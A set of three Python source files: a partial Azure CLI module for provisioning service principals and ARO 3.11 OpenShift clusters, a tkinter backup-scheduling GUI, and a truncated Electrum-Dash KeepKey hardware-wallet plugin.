service_principal, aad_session_key = _build_service_principal(rbac_client, cli_ctx, name, url, client_secret) if not service_principal: raise CLIError('Could not create a service principal with the right permissions. ' 'Are you an Owner on this project?') logger.info('Created a service principal: %s', service_principal) # We don't need to add role assignment for this created SPN else: # --service-principal specfied, validate --client-secret was too if not client_secret: raise CLIError('--client-secret is required if --service-principal is specified') return { 'client_secret': client_secret, 'service_principal': service_principal, 'aad_session_key': aad_session_key, } def _ensure_osa_aad(cli_ctx, aad_client_app_id=None, aad_client_app_secret=None, aad_tenant_id=None, identifier=None, name=None, create=False, customer_admin_group_id=None): rbac_client = get_graph_rbac_management_client(cli_ctx) if create: # This reply_url is temporary set since Azure need one to create the AAD. app_id_name = 'https://{}'.format(name) if not aad_client_app_secret: aad_client_app_secret = _create_client_secret() # Delegate Sign In and Read User Profile permissions on Windows Azure Active Directory API resource_access = ResourceAccess(id="311a71cc-e848-46a1-bdf8-97ff7156d8e6", additional_properties=None, type="Scope") # Read directory permissions on Windows Azure Active Directory API directory_access = ResourceAccess(id="5778995a-e1bf-45b8-affa-663a9f3f4d04", additional_properties=None, type="Role") required_osa_aad_access = RequiredResourceAccess(resource_access=[resource_access, directory_access], additional_properties=None, resource_app_id="00000002-0000-0000-c000-000000000000") list_aad_filtered = list(rbac_client.applications.list(filter="identifierUris/any(s:s eq '{}')" .format(app_id_name))) if list_aad_filtered: aad_client_app_id = list_aad_filtered[0].app_id # Updating reply_url with the correct FQDN information returned by the RP reply_url = 'https://{}/oauth2callback/Azure%20AD'.format(identifier) update_application(client=rbac_client.applications, object_id=list_aad_filtered[0].object_id, display_name=name, identifier_uris=[app_id_name], reply_urls=[reply_url], homepage=app_id_name, password=aad_client_app_secret, required_resource_accesses=[required_osa_aad_access]) logger.info('Updated AAD: %s', aad_client_app_id) else: result, _aad_session_key = create_application(client=rbac_client.applications, display_name=name, identifier_uris=[app_id_name], homepage=app_id_name, password=aad_client_app_secret, required_resource_accesses=[required_osa_aad_access]) aad_client_app_id = result.app_id logger.info('Created an AAD: %s', aad_client_app_id) # Get the TenantID if aad_tenant_id is None: profile = Profile(cli_ctx=cli_ctx) _, _, aad_tenant_id = profile.get_login_credentials() return OpenShiftManagedClusterAADIdentityProvider( client_id=aad_client_app_id, secret=aad_client_app_secret, tenant_id=aad_tenant_id, kind='AADIdentityProvider', customer_admin_group_id=customer_admin_group_id) def _ensure_service_principal(cli_ctx, service_principal=None, client_secret=None, subscription_id=None, dns_name_prefix=None, location=None, name=None): # TODO: This really needs to be unit tested. rbac_client = get_graph_rbac_management_client(cli_ctx) if not service_principal: # --service-principal not specified, make one. if not client_secret: client_secret = _create_client_secret() salt = binascii.b2a_hex(os.urandom(3)).decode('utf-8') url = 'https://{}.{}.{}.cloudapp.azure.com'.format(salt, dns_name_prefix, location) service_principal, _aad_session_key = _build_service_principal(rbac_client, cli_ctx, name, url, client_secret) if not service_principal: raise CLIError('Could not create a service principal with the right permissions. ' 'Are you an Owner on this project?') logger.info('Created a service principal: %s', service_principal) # add role first before save it if not _add_role_assignment(cli_ctx, 'Contributor', service_principal): logger.warning('Could not create a service principal with the right permissions. ' 'Are you an Owner on this project?') else: # --service-principal specfied, validate --client-secret was too if not client_secret: raise CLIError('--client-secret is required if --service-principal is specified') return { 'client_secret': client_secret, 'service_principal': service_principal, } def _create_client_secret(): # Add a special character to satisfy AAD SP secret requirements special_char = '$' client_secret = binascii.b2a_hex(os.urandom(10)).decode('utf-8') + special_char return client_secret def _get_rg_location(ctx, resource_group_name, subscription_id=None): groups = cf_resource_groups(ctx, subscription_id=subscription_id) # Just do the get, we don't need the result, it will error out if the group doesn't exist. rg = groups.get(resource_group_name) return rg.location def _check_cluster_autoscaler_flag(enable_cluster_autoscaler, min_count, max_count, node_count, agent_pool_profile): if enable_cluster_autoscaler: if min_count is None or max_count is None: raise CLIError('Please specify both min-count and max-count when --enable-cluster-autoscaler enabled') if int(min_count) > int(max_count): raise CLIError('Value of min-count should be less than or equal to value of max-count') if int(node_count) < int(min_count) or int(node_count) > int(max_count): raise CLIError('node-count is not in the range of min-count and max-count') agent_pool_profile.min_count = int(min_count) agent_pool_profile.max_count = int(max_count) agent_pool_profile.enable_auto_scaling = True else: if min_count is not None or max_count is not None: raise CLIError('min-count and max-count are required for --enable-cluster-autoscaler, please use the flag') def _validate_autoscaler_update_counts(min_count, max_count, is_enable_or_update): """ Validates the min, max, and node count when performing an update """ if min_count is None or max_count is None: if is_enable_or_update: raise CLIError('Please specify both min-count and max-count when --enable-cluster-autoscaler or ' '--update-cluster-autoscaler is set.') if min_count is not None and max_count is not None: if int(min_count) > int(max_count): raise CLIError('Value of min-count should be less than or equal to value of max-count.') def _print_or_merge_credentials(path, kubeconfig, overwrite_existing, context_name): """Merge an unencrypted kubeconfig into the file at the specified path, or print it to stdout if the path is "-". """ # Special case for printing to stdout if path == "-": print(kubeconfig) return # ensure that at least an empty ~/.kube/config exists directory = os.path.dirname(path) if directory and not os.path.exists(directory): try: os.makedirs(directory) except OSError as ex: if ex.errno != errno.EEXIST: raise if not os.path.exists(path): with os.fdopen(os.open(path, os.O_CREAT | os.O_WRONLY, 0o600), 'wt'): pass # merge the new kubeconfig into the existing one fd, temp_path = tempfile.mkstemp() additional_file = os.fdopen(fd, 'w+t') try: additional_file.write(kubeconfig) additional_file.flush() merge_kubernetes_configurations(path, temp_path, overwrite_existing, context_name) except yaml.YAMLError as ex: logger.warning('Failed to merge credentials to kube config file: %s', ex) finally: additional_file.close() os.remove(temp_path) def _remove_nulls(managed_clusters): """ Remove some often-empty fields from a list of ManagedClusters, so the JSON representation doesn't contain distracting null fields. This works around a quirk of the SDK for python behavior. These fields are not sent by the server, but get recreated by the CLI's own "to_dict" serialization. """ attrs = ['tags'] ap_attrs = ['os_disk_size_gb', 'vnet_subnet_id'] sp_attrs = ['secret'] for managed_cluster in managed_clusters: for attr in attrs: if getattr(managed_cluster, attr, None) is None: delattr(managed_cluster, attr) if managed_cluster.agent_pool_profiles is not None: for ap_profile in managed_cluster.agent_pool_profiles: for attr in ap_attrs: if getattr(ap_profile, attr, None) is None: delattr(ap_profile, attr) for attr in sp_attrs: if getattr(managed_cluster.service_principal_profile, attr, None) is None: delattr(managed_cluster.service_principal_profile, attr) return managed_clusters def _remove_osa_nulls(managed_clusters): """ Remove some often-empty fields from a list of OpenShift ManagedClusters, so the JSON representation doesn't contain distracting null fields. This works around a quirk of the SDK for python behavior. These fields are not sent by the server, but get recreated by the CLI's own "to_dict" serialization. """ attrs = ['tags', 'plan', 'type', 'id'] ap_master_attrs = ['name', 'os_type'] net_attrs = ['peer_vnet_id'] for managed_cluster in managed_clusters: for attr in attrs: if hasattr(managed_cluster, attr) and getattr(managed_cluster, attr) is None: delattr(managed_cluster, attr) for attr in ap_master_attrs: if getattr(managed_cluster.master_pool_profile, attr, None) is None: delattr(managed_cluster.master_pool_profile, attr) for attr in net_attrs: if getattr(managed_cluster.network_profile, attr, None) is None: delattr(managed_cluster.network_profile, attr) return managed_clusters def _validate_aci_location(norm_location): """ Validate the Azure Container Instance location """ aci_locations = [ "australiaeast", "canadacentral", "centralindia", "centralus", "eastasia", "eastus", "eastus2", "eastus2euap", "japaneast", "northcentralus", "northeurope", "southcentralus", "southeastasia", "southindia", "uksouth", "westcentralus", "westus", "westus2", "westeurope" ] if norm_location not in aci_locations: raise CLIError('Azure Container Instance is not available at location "{}".'.format(norm_location) + ' The available locations are "{}"'.format(','.join(aci_locations))) def osa_list(cmd, client, resource_group_name=None): if resource_group_name: managed_clusters = client.list_by_resource_group(resource_group_name) else: managed_clusters = client.list() return _remove_osa_nulls(list(managed_clusters)) def _format_workspace_id(workspace_id): workspace_id = workspace_id.strip() if not workspace_id.startswith('/'): workspace_id = '/' + workspace_id if workspace_id.endswith('/'): workspace_id = workspace_id.rstrip('/') return workspace_id def openshift_create(cmd, client, resource_group_name, name, # pylint: disable=too-many-locals location=None, compute_vm_size="Standard_D4s_v3", compute_count=3, aad_client_app_id=None, aad_client_app_secret=None, aad_tenant_id=None, vnet_prefix="10.0.0.0/8", subnet_prefix="10.0.0.0/24", vnet_peer=None, tags=None, no_wait=False, workspace_id=None, customer_admin_group_id=None): logger.warning('Support for the creation of ARO 3.11 clusters ends 30 Nov 2020. Please see aka.ms/aro/4 for information on switching to ARO 4.') # pylint: disable=line-too-long if location is None: location = _get_rg_location(cmd.cli_ctx, resource_group_name) agent_pool_profiles = [] agent_node_pool_profile = OpenShiftManagedClusterAgentPoolProfile( name='compute', # Must be 12 chars or less before ACS RP adds to it count=int(compute_count), vm_size=compute_vm_size, os_type="Linux", role=OpenShiftAgentPoolProfileRole.compute, subnet_cidr=subnet_prefix ) agent_infra_pool_profile = OpenShiftManagedClusterAgentPoolProfile( name='infra', # Must be 12 chars or less before ACS RP adds to it count=int(3), vm_size="Standard_D4s_v3", os_type="Linux", role=OpenShiftAgentPoolProfileRole.infra, subnet_cidr=subnet_prefix ) agent_pool_profiles.append(agent_node_pool_profile) agent_pool_profiles.append(agent_infra_pool_profile) agent_master_pool_profile = OpenShiftManagedClusterAgentPoolProfile( name='master', # Must be 12 chars or less before ACS RP adds to it count=int(3), vm_size="Standard_D4s_v3", os_type="Linux", subnet_cidr=subnet_prefix ) identity_providers = [] create_aad = False # Validating if the cluster is not existing since we are not supporting the AAD rotation on OSA for now try: client.get(resource_group_name, name) except CloudError: # Validating if aad_client_app_id aad_client_app_secret aad_tenant_id are set if aad_client_app_id is None and aad_client_app_secret is None and aad_tenant_id is None: create_aad = True osa_aad_identity = _ensure_osa_aad(cmd.cli_ctx, aad_client_app_id=aad_client_app_id, aad_client_app_secret=aad_client_app_secret, aad_tenant_id=aad_tenant_id, identifier=None, name=name, create=create_aad, customer_admin_group_id=customer_admin_group_id) identity_providers.append( OpenShiftManagedClusterIdentityProvider( name='Azure AD', provider=osa_aad_identity ) ) auth_profile = OpenShiftManagedClusterAuthProfile(identity_providers=identity_providers) default_router_profile = OpenShiftRouterProfile(name='default') if vnet_peer is not None: from msrestazure.tools import is_valid_resource_id, resource_id if not is_valid_resource_id(vnet_peer): vnet_peer = resource_id( subscription=get_subscription_id(cmd.cli_ctx), resource_group=resource_group_name, namespace='Microsoft.Network', type='virtualNetwork', name=vnet_peer ) if workspace_id is not None: workspace_id = _format_workspace_id(workspace_id) monitor_profile = OpenShiftManagedClusterMonitorProfile(enabled=True, workspace_resource_id=workspace_id) # pylint: disable=line-too-long else: monitor_profile = None network_profile = NetworkProfile(vnet_cidr=vnet_prefix, peer_vnet_id=vnet_peer) osamc = OpenShiftManagedCluster( location=location, tags=tags, open_shift_version="v3.11", network_profile=network_profile, auth_profile=auth_profile, agent_pool_profiles=agent_pool_profiles, master_pool_profile=agent_master_pool_profile, router_profiles=[default_router_profile], monitor_profile=monitor_profile) try: # long_running_operation_timeout=300 result = sdk_no_wait(no_wait, client.create_or_update, resource_group_name=resource_group_name, resource_name=name, parameters=osamc) result = LongRunningOperation(cmd.cli_ctx)(result) instance = client.get(resource_group_name, name) _ensure_osa_aad(cmd.cli_ctx, aad_client_app_id=osa_aad_identity.client_id, aad_client_app_secret=osa_aad_identity.secret, aad_tenant_id=osa_aad_identity.tenant_id, identifier=instance.public_hostname, name=name, create=create_aad) except CloudError as ex: if "The resource type could not be found in the namespace 'Microsoft.ContainerService" in ex.message: raise CLIError('Please make sure your subscription is whitelisted to use this service. https://aka.ms/openshift/managed') # pylint: disable=line-too-long if "No registered resource provider found for location" in ex.message: raise CLIError('Please make sure your subscription is whitelisted to use this service. https://aka.ms/openshift/managed') # pylint: disable=line-too-long raise ex def openshift_show(cmd, client, resource_group_name, name): logger.warning('Support for existing ARO 3.11 clusters ends June 2022. Please see aka.ms/aro/4 for information on switching to ARO 4.') # pylint: disable=line-too-long mc = client.get(resource_group_name, name) return _remove_osa_nulls([mc])[0] def openshift_scale(cmd, client, resource_group_name, name, compute_count, no_wait=False): logger.warning('Support for existing ARO 3.11 clusters ends June 2022. Please see aka.ms/aro/4 for information on switching to ARO 4.') # pylint: disable=line-too-long instance = client.get(resource_group_name, name) # TODO: change this approach when we support multiple agent pools. idx = 0 for i in range(len(instance.agent_pool_profiles)): if instance.agent_pool_profiles[i].name.lower() == "compute": idx = i break instance.agent_pool_profiles[idx].count = int(compute_count) # pylint: disable=no-member # null out the AAD profile and add manually the masterAP name because otherwise validation complains instance.master_pool_profile.name = "master" instance.auth_profile = None return sdk_no_wait(no_wait, client.create_or_update, resource_group_name, name, instance) def openshift_monitor_enable(cmd, client, resource_group_name, name, workspace_id, no_wait=False): logger.warning('Support for existing ARO 3.11 clusters ends June 2022. Please see aka.ms/aro/4 for information on switching to ARO 4.') # pylint: disable=line-too-long instance = client.get(resource_group_name, name) workspace_id = _format_workspace_id(workspace_id) monitor_profile = OpenShiftManagedClusterMonitorProfile(enabled=True, workspace_resource_id=workspace_id) # pylint: disable=line-too-long instance.monitor_profile = monitor_profile return sdk_no_wait(no_wait, client.create_or_update, resource_group_name, name, instance) def openshift_monitor_disable(cmd, client, resource_group_name, name, no_wait=False): logger.warning('Support for existing ARO 3.11 clusters ends June 2022. Please see aka.ms/aro/4 for information on switching to ARO 4.') # pylint: disable=line-too-long instance = client.get(resource_group_name, name) monitor_profile = OpenShiftManagedClusterMonitorProfile(enabled=False, workspace_resource_id=None) # pylint: disable=line-too-long instance.monitor_profile = monitor_profile return sdk_no_wait(no_wait, client.create_or_update, resource_group_name, name, instance)
backuper_gui.py
import logging import pathlib import threading import tkinter as tk import tkinter.ttk as ttk from tkinter.filedialog import (askopenfilename, askopenfilenames, askdirectory) from .backuper import Backuper class SourceFrame(tk.Frame): def __init__(self, master): super().__init__(master) self.master = master view_frame = tk.LabelFrame( self, text='Source files and directories:' ) view_frame.grid(row=0, column=0, sticky='nwes') self.tree = ttk.Treeview(view_frame) self.tree.grid(row=0, column=0, sticky='nwse') self.tree['show'] = 'tree' source_bar = ttk.Scrollbar( view_frame, orient='vertical', command=self.tree.yview ) source_bar.grid(row=0, column=1, sticky='nse') buttons_frame = tk.Frame(self) buttons_frame.grid(row=0, column=1, pady=7, sticky='nwse') make_button( buttons_frame, 'Add Files', 0, 1, command=self.add_file ) make_button( buttons_frame, 'Add Folder', 1, 1, command=self.add_dir ) make_button( buttons_frame, 'Add Folder Tree', 2, 1, command=self.add_tree ) make_button( buttons_frame, 'Remove Selected', 3, 1, command=self.remove_item ) tk.Grid.columnconfigure(self, 0, weight=1) tk.Grid.rowconfigure(self, 0, weight=1) tk.Grid.columnconfigure(view_frame, 0, weight=1) tk.Grid.rowconfigure(view_frame, 0, weight=1) def add_file(self): paths = askopenfilenames() for path in paths: if str(pathlib.Path(path).resolve()) \ not in self.master.backuper.config['SOURCE']: path = self.master.backuper.add_source(path, 'f') self.tree.insert('', 'end', text=str(path)) def add_dir(self): path = askdirectory() if path and str(pathlib.Path(path).resolve()) \ not in self.master.backuper.config['SOURCE']: path = self.master.backuper.add_source(path, 'd') self.tree.insert('', 'end', text=str(path) + '\\') def add_tree(self): path = askdirectory() if path and str(pathlib.Path(path).resolve()) \ not in self.master.backuper.config['SOURCE']: path = self.master.backuper.add_source(path, 'r') self.tree.insert('', 'end', text=str(path) + '\\*') def remove_item(self): for item in self.tree.selection(): path = str( pathlib.Path(self.tree.item(item)['text'].strip('*')).resolve() ) done = self.master.backuper.config.remove_option('SOURCE', path) if done: self.tree.delete(item) class IgnoredFrame(tk.Frame): def __init__(self, master): super().__init__(master) self.master = master label_frame = tk.LabelFrame( self, text='Ignored files and directories:' ) label_frame.grid(row=0, column=0, sticky='nwes') self.tree = ttk.Treeview(label_frame) self.tree['show'] = 'tree' self.tree.grid(row=0, column=0, sticky='nwse') self.tree.config(height=5) source_bar = ttk.Scrollbar( label_frame, orient='vertical', command=self.tree.yview ) source_bar.grid(row=0, column=1, sticky='nse') buttons_frame = tk.Frame(self) buttons_frame.grid(row=0, column=1, pady=7, sticky='nwes') make_button( buttons_frame, 'Add Files', 0, 1, command=self.add_ignored_file ) make_button( buttons_frame, 'Add Folder', 1, 1, command=self.add_ignored_dir ) make_button( buttons_frame, 'Remove Selected', 2, 1, command=self.remove_item ) tk.Grid.columnconfigure(self, 0, weight=1) tk.Grid.columnconfigure(self, 0, weight=1) tk.Grid.columnconfigure(label_frame, 0, weight=1) tk.Grid.columnconfigure(label_frame, 0, weight=1) def add_ignored_file(self): paths = askopenfilenames() for path in paths: if str(pathlib.Path(path).resolve()) \ not in self.master.backuper.ignored: path = self.master.backuper.add_ignored(path) self.tree.insert('', 'end', text=str(path)) def add_ignored_dir(self): path = askdirectory() if path and str(pathlib.Path(path).resolve()) \ not in self.master.backuper.ignored: path = self.master.backuper.add_ignored(path) self.tree.insert('', 'end', text=str(path) + '\\') def remove_item(self): for item in self.tree.selection(): path = str( pathlib.Path(self.tree.item(item)['text'].strip('*')).resolve() ) done = self.master.backuper.config.remove_option('IGNORE', path) if done: self.tree.delete(item) class App(tk.Tk): def __init__(self): super().__init__() self.title('zeetoo backuper') tk.Grid.columnconfigure(self, 0, weight=1) tk.Grid.rowconfigure(self, 1, weight=1) dest_frame = tk.Frame(self) dest_frame.grid(row=0, column=0, sticky='nwe') tk.Label(dest_frame, text='Destination').grid(row=0, column=0, sticky='w') self.dest_var = tk.StringVar() dest_entry = tk.Entry(dest_frame, textvariable=self.dest_var) dest_entry.grid(row=0, column=1, sticky='we') dest_entry.bind('<FocusOut>', lambda e: self.changed_dest()) choose = make_button( dest_frame, 'Choose', 0, 2, 'we', command=self.choose_dest ) tk.Grid.columnconfigure(dest_frame, 1, weight=1) tk.Grid.rowconfigure(dest_frame, 0, weight=1) self.source = SourceFrame(self) self.source.grid(row=1, column=0, sticky='nwes') self.ignored = IgnoredFrame(self) self.ignored.grid(row=2, column=0, sticky='nwe') time_frame = tk.Frame(self) time_frame.grid(row=3, column=0, sticky='nwes') tk.Label(time_frame, text='Backup frequency: ').grid(row=0, column=0) self.period_var = tk.StringVar() period_box = ttk.Combobox(time_frame, textvariable=self.period_var) period_box['values'] = ['DAILY', 'WEEKLY', 'MONTHLY'] period_box.grid(row=0, column=1) period_box.config(width=11) period_box.bind( '<<ComboboxSelected>>', lambda e: self.changed_time() ) tk.Label(time_frame, text='Hour: ').grid(row=0, column=2) self.hour_var = tk.StringVar() hour_box = ttk.Combobox(time_frame, textvariable=self.hour_var) hour_box['values'] = [f'{x:0>2}' for x in range(1, 25)] hour_box.grid(row=0, column=3) hour_box.config(width=3) hour_box.bind( '<<ComboboxSelected>>', lambda e: self.changed_time() ) tk.Label(time_frame, text='Min: ').grid(row=0, column=4) self.min_var = tk.StringVar() min_box = ttk.Combobox(time_frame, textvariable=self.min_var) min_box['values'] = [f'{x:0>2}' for x in range(0, 60, 5)] min_box.grid(row=0, column=5) min_box.config(width=3) min_box.bind( '<<ComboboxSelected>>', lambda e: self.changed_time() ) bottom_frame = tk.Frame(self) bottom_frame.grid(row=4, column=0, sticky='nwes') sched_button = make_button( bottom_frame, 'Schedule', 0, 0, command=self.schedule ) unsched_button = make_button( bottom_frame, 'Unschedule', 0, 1, command=self.unschedule ) self.run_text_var = tk.StringVar() self.run_text_var.set('Run Now') self.run_button = make_button( bottom_frame, '', 0, 2, textvariable=self.run_text_var, command=self.run_now ) tk.Frame(bottom_frame).grid(row=0, column=3, sticky='we') load_button = make_button( bottom_frame, 'Load Config', 0, 4, command=self.load ) self.save_button = make_button( bottom_frame, 'Save Config', 0, 5, command=self.save ) tk.Grid.columnconfigure(bottom_frame, 3, weight=1) tk.Grid.rowconfigure(bottom_frame, 0, weight=1) self.HOME_DIR = pathlib.Path.home().joinpath( 'AppData', 'Local', 'zeetoo', 'backuper' ) self.HOME_DIR.mkdir(parents=True, exist_ok=True) self.backuper = Backuper( self.HOME_DIR / 'config.ini' ) self.fill_gui() def choose_dest(self): path = askdirectory() if path: self.backuper.destination = path self.dest_var.set(self.backuper.destination) def changed_dest(self): path = self.dest_var.get() self.backuper.destination = path def changed_time(self): self.backuper.set_time( self.period_var.get(), int(self.hour_var.get()), int(self.min_var.get()) ) def save(self): self.backuper.save_config() self.save_button.configure(text='Saved!') thread = threading.Timer( 2, self.save_button.configure, kwargs={'text': 'Save Config'} ) thread.start() def load(self): file = askopenfilename( defaultextension='ini', initialfile='config.ini', filetypes=[('Config files', '*.ini'), ('All files', '*.*')] ) if file: self.backuper.load_config(file) self.fill_gui() def schedule(self): self.backuper.schedule() def unschedule(self): self.backuper.unschedule() def _run(self): self.run_text_var.set('Running...') self.run_button.config(state='disabled') self.backuper.backup() try: self.run_text_var.set('Run Now') self.run_button.config(state='normal') except Exception: logging.debug('Could not change button state') def run_now(self): thread = threading.Thread(target=self._run) thread.start() def fill_gui(self): self.dest_var.set(self.backuper.destination) self.source.tree.delete(*self.source.tree.get_children()) self.ignored.tree.delete(*self.ignored.tree.get_children()) for path, mode in self.backuper.config['SOURCE'].items(): appendix = '\\' if mode == 'd' else '\\*' if mode == 'r' else '' self.source.tree.insert('', 'end', text=path + appendix) for path in self.backuper.ignored: appendix = '\\' if pathlib.Path(path).is_dir() else '' self.ignored.tree.insert('', 'end', text=path + appendix) self.period_var.set(self.backuper.config['BACKUP']['schedule']) hour, minute = self.backuper.config['BACKUP']['starttime'].split(':') self.hour_var.set(hour) self.min_var.set(minute) def make_button(master, text, row=0, column=0, sticky='nwe', textvariable=None, command=None): b = ttk.Button( master, text=text, textvariable=textvariable, command=command ) b.grid(row=row, column=column, sticky=sticky) b.config(width=15) return b def main(argv=None): logging.basicConfig( format='%(levelname)s: %(message)s', level=logging.INFO ) root = App() root.mainloop() if __name__ == '__main__': main()
keepkey.py
from binascii import hexlify, unhexlify import traceback import sys from typing import NamedTuple, Any, Optional, Dict, Union, List, Tuple, TYPE_CHECKING from electrum_dash.util import bfh, bh2u, UserCancelled, UserFacingException from electrum_dash.bip32 import BIP32Node from electrum_dash import constants from electrum_dash.dash_tx import to_varbytes, serialize_extra_payload from electrum_dash.i18n import _ from electrum_dash.transaction import Transaction, PartialTransaction, PartialTxInput, PartialTxOutput from electrum_dash.keystore import Hardware_KeyStore from electrum_dash.plugin import Device, runs_in_hwd_thread from electrum_dash.base_wizard import ScriptTypeNotSupported from ..hw_wallet import HW_PluginBase from ..hw_wallet.plugin import (is_any_tx_output_on_change_branch, trezor_validate_op_return_output_and_get_data, get_xpubs_and_der_suffixes_from_txinout) if TYPE_CHECKING: import usb1 from .client import KeepKeyClient # TREZOR initialization methods TIM_NEW, TIM_RECOVER, TIM_MNEMONIC, TIM_PRIVKEY = range(0, 4) class KeepKey_KeyStore(Hardware_KeyStore): hw_type = 'keepkey' device = 'KeepKey' plugin: 'KeepKeyPlugin' def get_client(self, force_pair=True): return self.plugin.get_client(self, force_pair) def decrypt_message(self, sequence, message, password): raise UserFacingException(_('Encryption and decryption are not implemented by {}').format(self.device)) @runs_in_hwd_thread def sign_message(self, sequence, message, password): client = self.get_client() address_path = self.get_derivation_prefix() + "/%d/%d"%sequence address_n = client.expand_path(address_path) msg_sig = client.sign_message(self.plugin.get_coin_name(), address_n, message) return msg_sig.signature @runs_in_hwd_thread def sign_transaction(self, tx, password): if tx.is_complete(): return # previous transactions used as inputs prev_tx = {} for txin in tx.inputs(): tx_hash = txin.prevout.txid.hex() if txin.utxo is None: raise UserFacingException(_('Missing previous tx for legacy input.')) prev_tx[tx_hash] = txin.utxo self.plugin.sign_transaction(self, tx, prev_tx) class KeepKeyPlugin(HW_PluginBase): # Derived classes provide: # # class-static variables: client_class, firmware_URL, handler_class, # libraries_available, libraries_URL, minimum_firmware, # wallet_class, ckd_public, types, HidTransport firmware_URL = 'https://www.keepkey.com' libraries_URL = 'https://github.com/keepkey/python-keepkey' minimum_firmware = (1, 0, 0) keystore_class = KeepKey_KeyStore SUPPORTED_XTYPES = ('standard', ) MAX_LABEL_LEN = 32 def __init__(self, parent, config, name): HW_PluginBase.__init__(self, parent, config, name) try: from . import client import keepkeylib import keepkeylib.ckd_public import keepkeylib.transport_hid import keepkeylib.transport_webusb self.client_class = client.KeepKeyClient self.ckd_public = keepkeylib.ckd_public self.types = keepkeylib.client.types self.DEVICE_IDS = (keepkeylib.transport_hid.DEVICE_IDS + keepkeylib.transport_webusb.DEVICE_IDS) # only "register" hid device id: self.device_manager().register_devices(keepkeylib.transport_hid.DEVICE_IDS, plugin=self) # for webusb transport, use custom enumerate function: self.device_manager().register_enumerate_func(self.enumerate) self.libraries_available = True except ImportError: self.libraries_available = False @runs_in_hwd_thread def enumerate(self): from keepkeylib.transport_webusb import WebUsbTransport results = [] for dev in WebUsbTransport.enumerate(): path = self._dev_to_str(dev) results.append(Device(path=path, interface_number=-1, id_=path, product_key=(dev.getVendorID(), dev.getProductID()), usage_page=0, transport_ui_string=f"webusb:{path}")) return results @staticmethod def _dev_to_str(dev: "usb1.USBDevice") -> str: return ":".join(str(x) for x in ["%03i" % (dev.getBusNumber(),)] + dev.getPortNumberList()) @runs_in_hwd_thread def hid_transport(self, pair): from keepkeylib.transport_hid import HidTransport return HidTransport(pair) @runs_in_hwd_thread def webusb_transport(self, device): from keepkeylib.transport_webusb import WebUsbTransport for dev in WebUsbTransport.enumerate(): if device.path == self._dev_to_str(dev): return WebUsbTransport(dev) @runs_in_hwd_thread def _try_hid(self, device): self.logger.info("Trying to connect over USB...") if device.interface_number == 1: pair = [None, device.path] else: pair = [device.path, None] try: return self.hid_transport(pair) except BaseException as e: # see fdb810ba622dc7dbe1259cbafb5b28e19d2ab114 # raise self.logger.info(f"cannot connect at {device.path} {e}") return None @runs_in_hwd_thread def _try_webusb(self, device): self.logger.info("Trying to connect over WebUSB...") try: return self.webusb_transport(device) except BaseException as e: self.logger.info(f"cannot connect at {device.path} {e}") return None @runs_in_hwd_thread def create_client(self, device, handler): if device.product_key[1] == 2: transport = self._try_webusb(device) else: transport = self._try_hid(device) if not transport: self.logger.info("cannot connect to device") return self.logger.info(f"connected to device at {device.path}") client = self.client_class(transport, handler, self) # Try a ping for device sanity try: client.ping('t') except BaseException as e: self.logger.info(f"ping failed {e}") return None if not client.atleast_version(*self.minimum_firmware): msg = (_('Outdated {} firmware for device labelled {}. Please ' 'download the updated firmware from {}') .format(self.device, client.label(), self.firmware_URL)) self.logger.info(msg) if handler: handler.show_error(msg) else: raise UserFacingException(msg) return None return client @runs_in_hwd_thread def get_client(self, keystore, force_pair=True, *, devices=None, allow_user_interaction=True) -> Optional['KeepKeyClient']: client = super().get_client(keystore, force_pair, devices=devices, allow_user_interaction=allow_user_interaction) # returns the client for a given keystore. can use xpub if client: client.used() return client def get_coin_name(self): return "Dash Testnet" if constants.net.TESTNET else "Dash" def initialize_device(self, device_id, wizard, handler): # Initialization method msg = _("Choose how you want to initialize your {}.\n\n" "The first two methods are secure as no secret information " "is entered into your computer.\n\n" "For the last two methods you input secrets on your keyboard " "and upload them to your {}, and so you should " "only do those on a computer you know to be trustworthy " "and free of malware." ).format(self.device, self.device) choices = [ # Must be short as QT doesn't word-wrap radio button text (TIM_NEW, _("Let the device generate a completely new seed randomly")), (TIM_RECOVER, _("Recover from a seed you have previously written down")), (TIM_MNEMONIC, _("Upload a BIP39 mnemonic to generate the seed")), (TIM_PRIVKEY, _("Upload a master private key")) ] def f(method): import threading settings = self.request_trezor_init_settings(wizard, method, self.device) t = threading.Thread(target=self._initialize_device_safe, args=(settings, method, device_id, wizard, handler)) t.setDaemon(True) t.start() exit_code = wizard.loop.exec_() if exit_code != 0: # this method (initialize_device) was called with the expectation # of leaving the device in an initialized state when finishing. # signal that this is not the case: raise UserCancelled() wizard.choice_dialog(title=_('Initialize Device'), message=msg, choices=choices, run_next=f) def _initialize_device_safe(self, settings, method, device_id, wizard, handler): exit_code = 0 try: self._initialize_device(settings, method, device_id, wizard, handler) except UserCancelled: exit_code = 1 except BaseException as e: self.logger.exception('') handler.show_error(repr(e)) exit_code = 1 finally: wizard.loop.exit(exit_code) @runs_in_hwd_thread def _initialize_device(self, settings, method, device_id, wizard, handler): item, label, pin_protection, passphrase_protection = settings language = 'english' devmgr = self.device_manager() client = devmgr.client_by_id(device_id) if not client: raise Exception(_("The device was disconnected.")) if method == TIM_NEW: strength = 64 * (item + 2) # 128, 192 or 256 client.reset_device(True, strength, passphrase_protection, pin_protection, label, language) elif method == TIM_RECOVER: word_count = 6 * (item + 2) # 12, 18 or 24 client.step = 0 client.recovery_device(word_count, passphrase_protection, pin_protection, label, language) elif method == TIM_MNEMONIC: pin = pin_protection # It's the pin, not a boolean client.load_device_by_mnemonic(str(item), pin, passphrase_protection, label, language) else: pin = pin_protection # It's the pin, not a boolean client.load_device_by_xprv(item, pin, passphrase_protection, label, language) def _make_node_path(self, xpub, address_n): bip32node = BIP32Node.from_xkey(xpub) node = self.types.HDNodeType( depth=bip32node.depth, fingerprint=int.from_bytes(bip32node.fingerprint, 'big'), child_num=int.from_bytes(bip32node.child_number, 'big'), chain_code=bip32node.chaincode, public_key=bip32node.eckey.get_public_key_bytes(compressed=True), ) return self.types.HDNodePathType(node=node, address_n=address_n) def setup_device(self, device_info, wizard, purpose): device_id = device_info.device.id_ client = self.scan_and_create_client_for_device(device_id=device_id, wizard=wizard) if not device_info.initialized: self.initialize_device(device_id, wizard, client.handler) wizard.run_task_without_blocking_gui( task=lambda: client.get_xpub("m", 'standard')) client.used() return client def get_xpub(self, device_id, derivation, xtype, wizard): if xtype not in self.SUPPORTED_XTYPES: raise ScriptTypeNotSupported(_('This type of script is not supported with {}.').format(self.device)) client = self.scan_and_create_client_for_device(device_id=device_id, wizard=wizard) xpub = client.get_xpub(derivation, xtype) client.used() return xpub def get_keepkey_input_script_type(self, electrum_txin_type: str): if electrum_txin_type in ('p2pkh',): return 